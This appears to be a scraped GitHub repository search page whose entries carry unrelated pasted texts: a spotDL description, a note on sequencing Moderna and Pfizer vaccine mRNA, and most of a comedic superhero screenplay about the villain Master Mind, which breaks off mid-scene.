Found 1,371 repositories(showing 30)
spotDL
Download your Spotify playlists and songs along with album art and metadata (from YouTube if a match is found).
RNA vaccines have become a key tool in moving forward through the challenges raised both in the current pandemic and in numerous other public health and medical challenges. With the rollout of vaccines for COVID-19, these synthetic mRNAs have become broadly distributed RNA species in numerous human populations. Despite their ubiquity, sequences are not always available for such RNAs. Standard methods facilitate such sequencing. In this note, we provide experimental sequence information for the RNA components of the initial Moderna (https://pubmed.ncbi.nlm.nih.gov/32756549/) and Pfizer/BioNTech (https://pubmed.ncbi.nlm.nih.gov/33301246/) COVID-19 vaccines, allowing a working assembly of the former and a confirmation of previously reported sequence information for the latter RNA. Sharing of sequence information for broadly used therapeutics has the benefit of allowing any researchers or clinicians using sequencing approaches to rapidly identify such sequences as therapeutic-derived rather than host or infectious in origin. For this work, RNAs were obtained as discards from the small portions of vaccine doses that remained in vials after immunization; such portions would have been required to be otherwise discarded and were analyzed under FDA authorization for research use. To obtain the small amounts of RNA needed for characterization, vaccine remnants were phenol-chloroform extracted using TRIzol Reagent (Invitrogen), with intactness assessed by Agilent 2100 Bioanalyzer before and after extraction. Although our analysis mainly focused on RNAs obtained as soon as possible following discard, we also analyzed samples which had been refrigerated (~4 ℃) for up to 42 days with and without the addition of EDTA. Interestingly a substantial fraction of the RNA remained intact in these preparations. We note that the formulation of the vaccines includes numerous key chemical components which are quite possibly unstable under these conditions-- so these data certainly do not suggest that the vaccine as a biological agent is stable. But it is of interest that chemical stability of RNA itself is not sufficient to preclude eventual development of vaccines with a much less involved cold-chain storage and transportation. For further analysis, the initial RNAs were fragmented by heating to 94℃, primed with a random hexamer-tailed adaptor, amplified through a template-switch protocol (Takara SMARTerer Stranded RNA-seq kit), and sequenced using a MiSeq instrument (Illumina) with paired end 78-per end sequencing. As a reference material in specific assays, we included RNA of known concentration and sequence (from bacteriophage MS2). From these data, we obtained partial information on strandedness and a set of segments that could be used for assembly. This was particularly useful for the Moderna vaccine, for which the original vaccine RNA sequence was not available at the time our study was carried out. Contigs encoding full-length spikes were assembled from the Moderna and Pfizer datasets. The Pfizer/BioNTech data [Figure 1] verified the reported sequence for that vaccine (https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/), while the Moderna sequence [Figure 2] could not be checked against a published reference. RNA preparations lacking dsRNA are desirable in generating vaccine formulations as these will minimize an otherwise dramatic biological (and nonspecific) response that vertebrates have to double stranded character in RNA (https://www.nature.com/articles/nrd.2017.243). In the sequence data that we analyzed, we found that the vast majority of reads were from the expected sense strand. In addition, the minority of antisense reads appeared different from sense reads in lacking the characteristic extensions expected from the template switching protocol. Examining only the reads with an evident template switch (as an indicator for strand-of-origin), we observed that both vaccines overwhelmingly yielded sense reads (>99.99%). Independent sequencing assays and other experimental measurements are ongoing and will be needed to determine whether this template-switched sense read fraction in the SmarterSeq protocol indeed represents the actual dsRNA content in the original material. This work provides an initial assessment of two RNAs that are now a part of the human ecosystem and that are likely to appear in numerous other high throughput RNA-seq studies in which a fraction of the individuals may have previously been vaccinated. ProtoAcknowledgements: Thanks to our colleagues for help and suggestions (Nimit Jain, Emily Greenwald, Lamia Wahba, William Wang, Amisha Kumar, Sameer Sundrani, David Lipman, Bijoyita Roy). Figure 1: Spike-encoding contig assembled from BioNTech/Pfizer BNT-162b2 vaccine. Although the full coding region is included, the nature of the methodology used for sequencing and assembly is such that the assembled contig could lack some sequence from the ends of the RNA. Within the assembled sequence, this hypothetical sequence shows a perfect match to the corresponding sequence from documents available online derived from manufacturer communications with the World Health Organization [as reported by https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/]. The 5’ end for the assembly matches the start site noted in these documents, while the read-based assembly lacks an interrupted polyA tail (A30(GCATATGACT)A70) that is expected to be present in the mRNA.
rprokap
CREDITS SEQUENCE NEWSPAPER HEADLINE MONTAGE: HEADLINES flash before us, displaying their accompanying photographs. "UBERMAN - METRO CITY'S HERO AFTER DEFEATING MASTER MIND! PHOTO: A chiseled, statuesque man wearing the COOLEST SUPER HERO SUIT IMAGINABLE, COMPLETE WITH FLOWING CAPE, shines a confident smile at the lens. This is UBERMAN, champion of METRO CITY. "UBERMAN DEFEATS MASTER MIND'S GIANT ROBOT!" PHOTO: Wide-shot of Uberman in mid-flight lifting the GIANT ROBOT in the sky above the city buildings. "MASTER MIND ALL WET AFTER UBERMAN FOILS AQUARIUM HEIST!" PHOTO: Uberman stands knee-deep in water. He has his enemy by the collar. The villain blocks his face from the shot with a METALLIC GAUNTLET. The images start to flash by even quicker, each showing the MYSTERIOUS VILLAIN in various stages of humiliation. In each photograph he successfully blocks his face with his armored glove. We ZOOM IN to the last headline. "MASTER MIND BEHIND BARS ONCE AGAIN - THANKS TO UBERMAN!" PHOTO: Uberman stands in a gallant pose with his fists on his hips, obviously trying to accentuate the "U" insignia on his chest. END OF CREDITS SEQUENCE EXT. BUILDING - DAY We DISSOLVE from the photograph to Uberman standing in the exact same position. WE PULL BACK showing him atop a BUILDING overlooking the city below. A perfect view for our guardian hero. He watches the thriving metropolis, bristling with life as people happily go about their day. Yet, we can't help but detect a hint of sadness in Uberman's expression. 2. UBERMAN You look so peaceful from up here. His serenity is suddenly interrupted by a loud BEEPING SOUND coming from his wrist. He looks down at a BRACELET (a manly one) on his right arm. It's a silver band with a FLASHING red letter "U". UBERMAN (CONT'D) Looks like Roxanne's in trouble again. Uberman leaps off the building and into the air. His cape gracefully flows in the breeze behind him as he shoots off into the distance like a speeding bullet. EXT. OBSERVATORY HIDEOUT - ESTABLISHING SHOT Grime and moss decorate the outside of this long abandoned building overlooking the COAST. Once a place of knowledge and wonder - now home to a great evil. INT. OBSERVATORY HIDEOUT - DAY The inside is in complete contrast to the exterior. The huge hall with a GIANT TELESCOPE teems with advanced ELECTRONIC EQUIPMENT. Computers, monitors and machines which do not have an obvious function FLASH and HUM. A STEEL DOOR slides open, revealing the subject of our story MASTER MIND - a villainous sight to behold. His FACE IS INEXPLICABLY LIGHT BLUE, topped by an OVERSIZED, MUSHROOM- SHAPED HEAD with a CIRCULAR PATCH OF WHITE HAIR ON TOP. He's dressed in the kind of costume only a super villain could pull off: a PURPLE JUMPSUIT AND BLACK BOOT ENSEMBLE WITH A GIANT GREEN "M" ON THE CHEST. His right hand, hanging at his side, is a METAL GAUNTLET WITH THREE SHORT SPIKES PROTRUDING BETWEEN HIS KNUCKLES. Master Mind begins to survey the room with his TWO PERMANENTLY ARCHED EYEBROWS. A man dressed as ALBERT EINSTEIN is busy ranting to two other men. One, a hulking brute, is dressed as LEONARDO DA VINCI. The other, a small intellectual-type carrying a clip-board, is dressed as the philosopher PLATO. EINSTEIN I hate the outfits. I mean, I get it: we're all supposed to be "masterminds" - very clever. (MORE) 3. EINSTEIN(cont'd) I just feel stupid. I mean, what the hell did Einstein really do anyway? PLATO Theory of relativity. Einstein starts feverishly scratching his side. EINSTEIN Well, you'd think he'd invent a wool sweater that didn't itch so much. Da Vinci and Plato's eyes suddenly grow with concern as they see Master Mind walk up behind Einstein. Einstein notices his colleague's staring over his right shoulder and turns around. He turns around and Master Mind SEIZES HIM BY HIS THROAT with his metal gauntlet. MASTER MIND The real Einstein once said, "God does not play dice with the world." He was right, because the world is MY dice. Is that understood? DA VINCI & PLATO Sir! Yes, sir! EINSTEIN (gasping for air) Yes, sir. Master Mind undoes his grip on Einstein's throat. MASTER MIND Alright, then - clean slate. Do we have the girl? DA VINCI Yes, sir. She fell into our trap just like you knew she would. MASTER MIND Reporters are a curious lot, and easily manipulated. He quickly checks his physique in a GIANT MIRROR, adjusts his posture and sucks in his gut. 4. MASTER MIND Alright, let's not keep the lady waiting. MOMENTS LATER Da Vinci escorts a BLINDFOLDED and bound woman, ROXANNE RITCHI, to the back of the room where Plato and Einstein are standing guard over a large BLACK SWIVEL-CHAIR facing away from us. She pulls free of Da Vinci's grasp and waits for him to undo the blindfold. Her face uncovered, we finally see Roxanne's striking features - all of which seem overshadowed by piercing eyes that seem more put off by the situation than afraid of it. MASTER MIND (O.S.) Miss Ritchi, we meet again. The chair turns menacingly slow, finally revealing Master Mind. ROXANNE You didn't need to turn around like that. I can recognize the stench of failure. Master Mind unleashes a wicked laugh. MASTER MIND I trust you gentlemen know the very sassy Roxanne Ritchi, highly regarded investigative journalist who some say has a more than friendly relationship with our super powered foe Uberman. And Miss Ritchi, I trust you've already met my new crew: The Mad Geniuses! Roxanne gives Einstein a once over. ROXANNE Looks like a real group of winners. At the risk of sounding cliche', you'll never get away with this. MASTER MIND In a way, I already have. Roxanne unleashes an exhausted SIGH. 5. ROXANNE We go through this every time. You kidnap me to get to Uberman, he immediately finds your hideout, escapes whatever lame trap you've come up with, and takes you and your cronies to jail. I propose we just save everybody some heartache this time by YOU letting me go, and ME forgetting this whole thing ever happened? MASTER MIND What about my revenge? ROXANNE We can say it was wasting everyone's time. MASTER MIND You have a wicked tongue. I hope you rid yourself of that when you're my queen. Roxanne unleashes a snort-filled laugh. ROXANNE I'm sorry. What makes you think I would want to be your queen? MASTER MIND Power corrupts absolutely, Miss Ritchi. And when I have ultimate power over this city, I have absolutely every intention of corrupting you with it. PLATO Sir! Master Mind turns to Plato who's now standing at a computer terminal. MASTER MIND (annoyed) What is it!? EXT. OBSERVATORY HIDEOUT - DAY Uberman flies toward the Observatory like a rocket. 6. INT. OBSERVATORY HIDEOUT - DAY Uberman crashes through the wall to the room we were just in. He looks around, but there's suddenly NOT A SOUL IN SIGHT. CUT TO: EXT. MASTER MIND'S HYDROFOIL - DAY The boat is shooting through the ocean, away from the observatory. INT. HYDROFOIL CONTROL ROOM - DAY Machines, cables and terminals criss-cross the craft's main bridge. Through the enormous surrounding windows we can see the observatory shrinking in the distance. Master Mind watches Uberman on a small TV monitor as the hero intently searches his hideout. UBERMAN (on monitor) Master Mind! INT. OBSERVATORY HIDEOUT - DAY Uberman throws up his arms in frustration when suddenly - MASTER MIND (O.S.) Over here, old friend. He turns to see a FAMILIAR BLUE FACE OF EVIL ON A GIANT SCREEN. UBERMAN What's the matter, miss your old jail cell? Uberman starts walking toward the monitor. MASTER MIND (ON MONITOR) Actually, I wanted to share the experience with my oldest friend. A MECHANIZED CAGE shoots out of the floor, suddenly trapping Metro City's protector. Totally unfazed, our hero stares on. 7. UBERMAN You can't possibly believe this will work. Master Mind pulls out a SMALL BLACK BOX with a SINGLE RED BUTTON on it. MASTER MIND (ON MONITOR) Oh, can't I? I have attained control of the Earth's most abundant energy source. I doubt even you are strong enough to withstand the FULL CONCENTRATED POWER OF THE SUN!!! He presses the button. EXT. OUTER SPACE A sinister-looking SATELLITE orbits Earth's atmosphere. Its bay doors suddenly open, deploying two huge SOLAR PANELS. The panels shift, angling themselves in the direction of the sun. They immediately start GLOWING as they absorb the burning star's power. The front of the satellite begins to make a loud HUMMING SOUND as it prepares to unleash its unholy power. INT. HYDROFOIL CONTROL ROOM - DAY From the giant window we can see the boat is a good mile from the observatory. PLATO We're now at minimum safe distance, master. Master Mind turns from the CAMERA he was broadcasting on and puts down the control box. MASTER MIND Excellent. Stop here, I like this view. PLATO Twenty seconds until impact. Master Mind turns to Roxanne who is being held by Da Vinci and Einstein. She almost appears a little bored. Disappointed by her lack of horror, he walks over to the monitor now showing Uberman trapped in the cage. 8. MASTER MIND Any last words? Uberman looks up at the screen with a cocky smile. UBERMAN (ON MONITOR) Yes: there's no caging the power of justice. PLATO Ten seconds to impact. On the screen we see Uberman take two of the cage's bars in his hands. He yanks...NOTHING. PLATO (CONT'D) Nine... Master Mind stares at the monitor, slightly confused. PLATO (CONT'D) Eight... Uberman yanks on the bars again, this time using his foot as leverage. MASTER MIND (genuinely concerned) What's going on? UBERMAN (straining) Hold...on...a second. Master Mind looks back at Plato and Einstein. They're equally befuddled at the hero's sudden weakness. PLATO Seven... Uberman loses his grip and FALLS BACKWARD ON HIS ASS. UBERMAN SON OF A BITCH!! Master Mind and the minions all cringe in unison. Da Vinci turns to Roxanne not believing his ears. DA VINCI What did he just say? 9. PLATO Six......Five... Master Mind begins to laugh. MASTER MIND What kind of trick is this? Uberman looks up at the camera with a very grave expression. UBERMAN Like you don't know. These bars are made of copper, aren't they? PLATO Four... MASTER MIND Yeah, so? Uberman tries to shield his grief with his hand. UBERMAN You figured out my weakness, damn you. I CAN'T BEND COPPER! PLATO Three... MASTER MIND Your weakness is copper? PLATO Two...one. Everyone turns to the window. EXT. OUTER SPACE The satellite fires a giant BEAM OF LIGHT toward the earth. EXT. OBSERVATORY HIDEOUT - DAY The beam hits the observatory. The building instantly EXPLODES in a white nova blast of fire. INT. HYDROFOIL CONTROL ROOM - DAY The blast is so bright everyone turns away from the window. Then, as suddenly as it began, the awesome light dies out. One by one, the passengers unshield their eyes and look out toward the observatory. 10. All we can see through the haze of destruction is fire and smoke. PLATO I don't think even he could have survived that. Einstein suddenly turns giddy with excitement. EINSTEIN Whoa! Is it me or did you just finally destroy Uberman? MASTER MIND (carefully skeptical) Well...let's not get ahead of ourselves. Da Vinci suddenly sees something outside. DA VINCI Look, there's something in the sky, coming this way. ROXANNE Uberman! Master Mind turns toward the window. An object is in the air, flying directly toward them. As it closes in we can just make out the FAMILIAR OUTLINE OF A CAPPED FIGURE. MASTER MIND I KNEW IT! PREPARE YOURSELVES! HE'S GONNA RAM US!!! Everyone scatters and braces themselves for the impact. Master Mind, seeing all the good places taken, doesn't know what to do with himself. He just covers his giant head with his hands. The figure CRASHES THROUGH THE WINDOW and lands at his feet. He looks down to see a CHARRED BLACK HUMAN SKELETON. Around its neck is the unmistakable black cape of Uberman. MASTER MIND (CONT'D) (horrified) HOLY SHIT! 11. Roxanne breaks out of Da Vinci's hold and runs over to the body. ROXANNE Uberman? She stares down at the still smoking corpse, the tattered black cape with the yellow "U" on it. Roxanne turns to Master Mind, who's still visibly dumbfounded at the grotesque sight before him. ROXANNE (CONT'D) You killed him! Roxanne's eyes roll back. Da Vinci catches her from behind as she FAINTS. Einstein turns to Master Mind, looking at him as if he's just walked on water. EINSTEIN You did it! Now that he's committed the impossible - our villain is at a complete loss. MASTER MIND ...so I did. EINSTEIN I mean, I know you always wanted to. I mean, all the schemes all the plots - I never thought you'd actually be capable of it. Giddy as a school girl, Einstein turns to his fellow henchmen. EINSTEIN This is history. Every villain and lackey in the history of villains and lackeys dream of this moment, but when does it actually EVER happen? A sudden realization comes over his face. EINSTEIN Good lord...You do all realize what we get to do now, don't you? 12. His question is met with acquisitive looks from Master Mind and the others. EINSTEIN We get to go on a crime wave. CRIME WAVE MONTAGE - SET TO "Fun Fun Fun" by The Beach Boys. SPINNING HEADLINE: "UBERMAN'S DEATH IGNITES CITY WIDE CRIME WAVE!" ARMORED TRUCK It's driving along when the men inside suddenly notice something - THEY'RE FLYING HIGH ABOVE THE CITY STREETS. We PULL BACK to see the truck being carried by a giant claw at the bottom of a BRAIN COPTER. Inside the cockpit Master Mind and his henchmen laugh maniacally. SPINNING HEADLINE: "CHAMPION-LESS CITY AT THE MERCY OF HOOLIGANS." METRO CITY BANK Da Vinci and Einstein run out the front of the bank holding BAGS OF MONEY. Two beat officers see them and take chase after them around the corner and into an alley. After a moment the police reemerge from the alley screaming and running for their lives as a GIANT ROBOT CHASES after them. The robot stops, then suddenly it's head opens up like convertible car top with Master Mind and Plato at the driver's wheel. They smile and shake hands at a bad deed well done. SPINNING HEADLINE: "MASTER MIND BLACKMAILS METRO!!!" A VICIOUS TORNADO It's heading for downtown Metro as Master Mind and the lackeys coolly look on. Three large DUMP TRUCKS pull up, filled to the brim with bricks of CASH. 13. The DRIVERS jump out as the lackeys take the driver seats in the three trucks. Master Mind is about to climb into the passenger seat of one when a drivers taps him on the shoulder and motions toward the tornado. MASTER MIND (absentmindedly) Oh, right. Master Mind pulls a television REMOTE from his pocket and aims it at approaching windstorm of death. He presses the button marked "Tornado Off." The tornado shrinks and disappears just before it hits the city. As they drive through the city streets, Master stares out the window with a hint of something in his eyes. Is it melancholy? END OF MONTAGE EXT. KINGPIN BOWLING - DAY It's Metro City's premier bowling alley. On top of the neon lit building is a GIANT 30 FOOT TALL CEMENT BOWLING BALL. INT. KINGPIN BOWLING - DAY HAL STEWART (early 30's) takes careful aim with his BOWLING BALL. HAL It's a sport of honor, focus and grace. Honor the ball, focus on the pins, release the ball not hard and fast, but as if you were releasing a baby dove. He takes a step, pulls back his arm, and releases the ball, following it with his eyes. It's a horrible shot - INSTANT GUTTER BALL. An aged barmaid type with a cigarette hanging from her mouth looks over at him. HAL Okay, do something like that - but center it more. 14. She picks up her custom made FOGHAT BALL and takes aim. ATTRACTIVE BLOND Tell me how my form looks, honey. Hal focuses on the misshapen bumps of her enormous Johnson administration era derriere. HAL Oh, it's lookin' good. It's lookin' REAL good. It doesn't get anymore clear. This man is a pig. VINNIE (O.S.) Hal, I want to see you in my office! Hal turns to see VINNIE, owner of the bowling alley, calling him. VINNIE Now! INT. KINGPIN BOWLING - VINNIE'S OFFICE - MOMENTS LATER Hal sits down, facing Vinnie who's sitting at his desk. VINNIE You're fired. Leave your shirt and locker key. This bit of news hits Hal like a freight train. HAL Fired? Are you going to tell me why? VINNIE Showing up to work late. Showing up to work late drunk. Sexually harassing customers. Stealing from the register. HAL Vinnie, I don't know where you're getting these accusations - Vinnie takes out a video tape from his desk drawer and puts in a VCR. 15. HAL Oh, which one do you supposedly have here? VINNIE This is all of them at once. TELEVISION A WOMAN walks up to a BOWLING EMPLOYEE and hands him a pair of shoes. As the employee turns to the wall of shoes, a very drunk and disheveled Hal comes running in and pushes him aside. HAL I've got this one, Benny. So, Cinderella. Can I help you find your glass slipper? WOMAN Yeah, I'm looking for a seven. He folds his arms on the counter and leans into her with a cat-like grin on his face. HAL (with a leer) Seven - Well, maybe I could interest you in something in an EIGHT. Namely, me. Disgusted, she walks off screen. HAL Lesbo. Suddenly realizing the register's open, he quickly grabs a stack of cash and shoves it in his pocket. BACK TO OFFICE Vinnie turns off the television and waits for Hal to respond. HAL From the angle of the camera, I can see where you might have gotten the wrong idea. Listen, Vinnie, I don't think you've thought this through. If you fire me, who's gonna be captain of the alley's bowling team? 16. VINNIE Um, I don't know. Maybe somebody who can actually bowl. You guys have never won a game. I hired you because you said you were on the pro circuit. HAL No, I said I WILL BE on the pro circuit. VINNIE Please, a loser like you will never amount to anything. This harsh remark seems to leave Hal genuinely stunned. HAL Wow...If that's how you feel...I guess we should then talk about what kind of severance I'm gonna get. EXT. KINGPIN BOWLING - DAY TWO BRUISERS open the door and throw Hal out onto the street. He quickly picks himself up and turns back toward the building. HAL Hey...what about my ball? A bowling ball sails past him, just missing his head. HAL Thank-you! EXT. CHANNEL 7 NEWS BUILDING - DAY The massive building with a giant 7 on the roof stands in the heart of Metro City. INT. CHANNEL 7 NEWS BUILDING - OFFICE - DAY The cubicles and offices are alive with the hustle and bustle of a busy news day. Phones are RINGING, REPORTERS are TALKING, and Editors are SHOUTING. The elevator doors open and out steps Roxanne Ritchi. 17. Everything stops as the entire office suddenly falls SILENT. Somewhat taken aback by the reaction, Roxanne scans the room to see every eye on her. ROXANNE It's...um...It's good to be back. Thanks for everyone's cards and concerns. I really appreciated it - now I'm ready to climb back on the horse. No one is budging - their looks of pity are really starting to make her uncomfortable. The back office door suddenly opens and out comes FRANK BONIN, the gruff, middle-aged Producer of Channel 7 News. Noticing the silence, he looks up and sees the sad expressions on everybody's face. FRANK Someone die or something? He suddenly notices Roxanne - both feet are placed firmly in his mouth. FRANK (cursing himself) Oh, Jesus. ROXANNE It's okay. Frank quickly walks up to Roxanne and takes her gently by the arm. FRANK Come on into my office, sweetie. INT. CHANNEL 7 NEWS BUILDING - FRANK'S OFFICE - CONTINUOUS He sits her down on his leather couch, then quickly turns toward his door. FRANK Can we get this woman some water for God's sake? (to Rebecca) I gave you two months off. What're you doing back? People are gonna think I'm a slave driver. 18. ROXANNE Aren't you? FRANK Yeah, but I don't want people to think it. ROXANNE Frank, listen. I want to go back to work. I NEED to go back to work. FRANK ...You're hysterical, aren't you? Frank sits down on the couch and blankets Roxanne with A WARM EMBRACE. ROXANNE What're you doing? FRANK Keeping you warm before you go into shock. (toward the open door) DO I HAVE SLICE OPEN A CAMEL HUMP TO GET A GLASS OF WATER AROUND HERE? A SECRETARY quickly enters with a bottled water. She sets it on the table in front of them and leaves. Roxanne pulls herself out of Frank's grasp and stands up to face him. ROXANNE It was a traumatic experience. Yes, everyone knows Uberman and me were...close. But what I really need - what would really make me better is getting back to work. There's a sudden awkward silence from Frank. FRANK Well, that's going to be... ROXANNE I thought you'd be happy to have me back. 19. FRANK Oh, we are. Honey, nothing makes us happier than to have our girl back, but... ROXANNE Yes? FRANK Things have sorta...changed. ROXANNE In three weeks? FRANK Listen, I'm not one who likes to open up wounds - especially ones that are just starting to scab, but you were sorta our go to girl for the exclusive on Uberman. And now that he's gone...I moved Brad into your anchor spot. ROXANNE (disgusted) Brad? Brad Helms? The man is an idiot. FRANK It's the suits. They think it's time to switch things up. ROXANNE Oh, because they can't use me to get the big story. FRANK C'mon, Roxie. Using is in the nature of what we do. They used you, you used Uberman. Everybody's happy. ROXANNE (defensive) I didn't use him. FRANK Oh, I didn't mean that. I know you two were in love or something. My bad. ROXANNE We were. 20. FRANK And that's great. ROXANNE Very in love. There's a hind of self-doubt in Roxanne's expression, as if she's failed to convince even herself of this. ROXANNE Okay. So, where are they going to move me if Brad has my spot? FRANK ...Human interest. ROXANNE Bake sales and pet stories. FRANK I told them I wouldn't be surprised if you just upped and quit. You busted your ass for that desk. Roxanne can hardly get it out - she's busy swallowing her pride ROXANNE I'll take it. Frank looks up at her, not believing what he's hearing. FRANK What? EXT. ABANDONED METRO CITY LIBRARY - NIGHT Amongst the jungle of high rises, one small building stands out from the rest - A tiny, forgotten piece of 19th century Gothic architecture. LIGHTENING FLASHES, revealing TWO CONCRETE GARGOYLES holding a cracked plaque, reading: METRO CITY LIBRARY. INT. ABANDONED METRO CITY LIBRARY - NIGHT A mixture of old and new. Dusty Victorian furniture and dilapidated bookshelves sit side by side with pristinely futuristic machinery. The building has been converted into Master Mind's new SECRET LAIR. 21. In the center of the main room is a three storey tall GLOWING BLUE ORB. At the base of it is a sign that reads "Reactor - Don't Touch." We PAN OVER to the READING ROOM where Master Mind is sitting on a couch watching TELEVISION. REPORTER ON TELEVISION (O.S.) It's been nearly six weeks, and still no word on the whereabouts of billionaire playboy, and philanthropist, Wayne Scott. Tune in at 11:00 as we look into what has become Metro City's biggest mystery. TELEVISION NARRATOR (O.S.) We now return to "The Hero of our Hearts: The Uberman story." Einstein and Plato come into the room holding a BAG OF LOOT. EINSTEIN Just robbed the diamond exchange. MASTER MIND (feigning pleasure) Great, great. Put it on the pile. Einstein tosses it on a LARGE PILE of purloined valuables in the corner of the room. EINSTEIN Anything else today? MASTER MIND No. Master Mind turns his attention back to the screen. Plato sees that Master Mind is in a funk and tries to snap him out of it. PLATO (cheerfully) Sir, the new reactor is installed. Plato nods to the giant orb. PLATO Do you want to throw the switch? I know how you love to start reactors. 22. MASTER MIND Maybe later. Einstein gives Master Mind a funny look then exchanges glances with Plato before leaving the two of them alone. Without turning away from the TV, Master Mind addresses Plato. MASTER MIND (CONT'D) What is it, Plato? PLATO (nervously) Sir, I can't help but notice that you've been...a little down lately. MASTER MIND When I want your opinion I'll beat it out of you. PLATO Yes, sir, I know, but please forgive my impertinence. It's just that you seem to have lost your lust for our profession. You've stopped going on jobs and spend most of your time watching Uberman specials. Master Mind relaxes slightly and turns to face the window in a classically contemplative pose. After an overdramatic beat... MASTER MIND I have defeated my greatest enemy. I have free reign over Metro City. I have more wealth than a thousand Sultans. I've achieved all I have worked for...so why am I so unhappy? He walks over to a PAINTED PORTRAIT that looks almost exactly like him, except slightly older, maybe meaner - MASTER MIND'S FATHER. MASTER MIND I mean, my father, god rest his evil and tormented soul, raised me straight from the test tube to be a symbol of evil. (MORE) 23. MASTER MIND(cont'd) And, I have accomplished something he had only dreamed about - the destruction of Metro City's champion. I tell you, I've always lived with this unquenchable thirst. I thought it was to make him proud or to get absolute power. But now that I've pretty much accomplished both, I am at a loss. PLATO ...I sort of have a theory about all that. MASTER MIND (snippy) Oh, really? PLATO Well, for one thing, maybe Uberman was more important to you than you thought. MASTER MIND He was a worthy rival. Sometimes I wonder, did he consider me his evil equal or was I just an annoying, little gnat to him? ...What's the second part? PLATO I think you sort of have a thing for Roxanne Ritchi. Master Mind quickly takes his lackey by the throat. MASTER MIND YOU WORM! HOW DARE YOU! WHERE WOULD YOU GET SUCH A NOTION? PLATO Sir, your plans always involve Ms. Ritchi either being kidnapped or placed in danger. If that's not love, I don't know what is. It's the grown up equivalent of dipping her pigtails in the ink well. Don't you see? She's the one treasure that's always escaped you. From Master Mind's expression, we see Plato's words beginning to ring true. 24. INT. RESTURAUNT - DAY Roxanne is having lunch with several girlfriends sitting around her, gabbing. FRIEND #1 I can't believe you came back so soon. FRIEND #2 Are you sure it's not TOO SOON, honey? ROXANNE I just wanted to get back to work. FRIEND #3 What we need to do is get you back on the saddle...the love saddle. Friend 1 and 2 give 3 disapproving looks. FRIEND #3 It's been three weeks. FRIEND #2 She just lost the love of her life, Grace. A WAITER comes by with a tray of CAESAR SALADS and begins setting them out for the ladies. ROXANNE I keep trying to tell people it wasn't really like that. Uberman and I - We were kinda having problems. We broke up. The waiter ALMOST DROPS HIS TRAY AT THIS. The women are too shocked by Roxanne's revelation to notice. FRIEND #1 You broke up with Uberman! FRIEND #3 You must have REALLY, REALLY high standards. I mean, you were dating a god. I mean, what's it take? ROXANNE Maybe someone who's a little more aware of his faults. Someone a little more sensitive. 25. FRIEND #3 Right. Someone who listens, sexy but attainable with cute little cheeks like a hamster and heartbreak in his eyes. She turns to Friend one and two to explain. FRIEND #3 She wants John Cusack. FRIEND #2 The actor? FRIEND #3 No, the famous pediatrist - Yes, the actor. Ever since we were teenagers, Roxanne's totally had the hots for him. ROXANNE Well, until he miraculously comes walking into my life, I'm just going to take a little reflection time for myself. The waiter gets a confused look on his face then slips away as Roxanne and her friends continue to chat away. EXT. RESTURAUNT - DAY The waiter tosses his apron in a trash can, then rolls up his sleeve and presses A STRANGE LOOKING DEVICE STRAPPED TO HIS WRIST. His image gets staticy, like a TV station going out, then disappears - revealing the man's true form underneath: MASTER MIND! MASTER MIND Who the hell is John Cusack? EXT. CITY STREET - DAY A YOUNG MOTHER pushes her baby stroller past a building construction site. ACROSS THE STREET A local POLITICIAN addresses a group of REPORTERS on the sidewalk, including Roxanne. 26. POLITICIAN The Fifth Avenue Renovation Project, which I championed, will breath new life into the downtown area. New life means new jobs and new revenue. ROXANNE Councilman, is it true that your brother-in-law's construction company won the contract for this project? POLITICIAN Well...er...yes, but...look I'm not here to answer a lot of crazy questions... YOUNG MOTHER The young mother stops halfway down the block, reaches into the stroller and tries to comfort her now crying baby. Above her, a CRANE is maneuvering a pile of STEEL GIRDERS to an upper floor. Hal comes around the corner and heads in her direction. CRANE The crane GRINDS TO A HALT. The OPERATOR has a confused look on his face as he moves levers back and forth in an effort to fix the problem. Hal stops a few feet from the woman and stoops down to tie his shoe. CRANE The operator's hand slips off the lever, hitting a RED BUTTON. To his horror the crane DROPS ITS LOAD OF STEEL. HAL AND THE WOMAN The woman looks up to see the girders seconds from crushing her and her baby. She screams. Hal looks up and sees it as well. He starts to run out of the way and crashes into the woman and stroller. ACROSS THE STREET 27. The reporters turns their cameras just in time to catch on film what appears to be Hal pushing the woman to safety just as the GIRDERS CRASH TO THE GROUND. HAL AND MOTHER Tears of joy in her eyes, the woman picks up her baby and kisses it. Hal struggles to catch his breath as the mother turns to him. YOUNG MOTHER Thank you! Thank you for saving me and my baby! She hugs him with her free arm, weeping with joy. HAL (not knowing what she's talking about) Huh? He's a little uncomfortable with the woman's public display of affection and the small child in-between their embrace. HAL (CONT'D) There, there. Hal slowly eases out of the woman's grip. HAL (CONT'D) Okay, we better...well, I hear these little guys smother easy. The reporters rush over and surround Hal and the mother. ROXANNE What's it feel like to be a hero? Hal looks up at Roxanne. Instantly, he's captivated by her beauty. HAL Well...I'm just a man doing what men do. You're Roxanne Ritchi, aren't you? They're suddenly interrupted when another reporter pushes his way in between them. REPORTER Were you scared? 28. HAL Scared? Who had time? The reporters eat this up. INT. ABANDONED METRO CITY LIBRARY - NIGHT TELEVISION John Cusack stands in the rain looking up at a window of a two story house. He holds up a BOOMBOX and "In Your Eyes" by Peter Gabriel begins to play. From the couch, Master Mind and his minions watch. MASTER MIND John Cusack, huh? So all I have to do is have a cute puppy dog stare, be willing to make a fool of myself and - Oh, REMOVE BOTH MY BALLS. He turns to see Da Vinci watching the movie and wiping a tear from his cheek. MASTER MIND Please, get a hold of yourself. INT. BOOKSTORE - NIGHT Roxanne is carrying a large paper coffee cup in her hands as she peruses the isles. She sets it down on a shelf to pull a book out and ends up KNOCKING THE DRINK OVER. ROXANNE Shit. She goes to pick it up when someone bends down and picks it up for her. Looking up to thank him, Roxanne is suddenly stunned speechless - It's popular and critically acclaimed actor JOHN CUSACK, or rather Master Mind disguised as him. "JOHN CUSACK" Oh the humanity - it was a Venti. ROXANNE (stunned) You're...you're. "JOHN CUSACK" Yes, it's me. John Cusack...the actor. 29. He notices the book she's reading. "JOHN CUSACK" Hey, is that Shelly? Wait, I think remember something from that one - Let's see: "My head is screaming `I want you and need you' - my heart it keeps reaching to see you and feel you - yet in the end, I'm alone once again." Wow, I scare even myself. I'm sorry. I'm just really into poetry. Probably because I'm so sensitive and always going to great lengths to express myself. But enough about me. Can I fill you up? ROXANNE (captivated) ...Yes. (catching herself) I mean, excuse me? "JOHN CUSACK" Can I fill you up? Your coffee. ROXANNE Right. INT. BOOKSTORE CAFE' - LATER Roxanne talks as John Cusack listens to her every word intently. ROXANNE I did have a boyfriend - until fairly 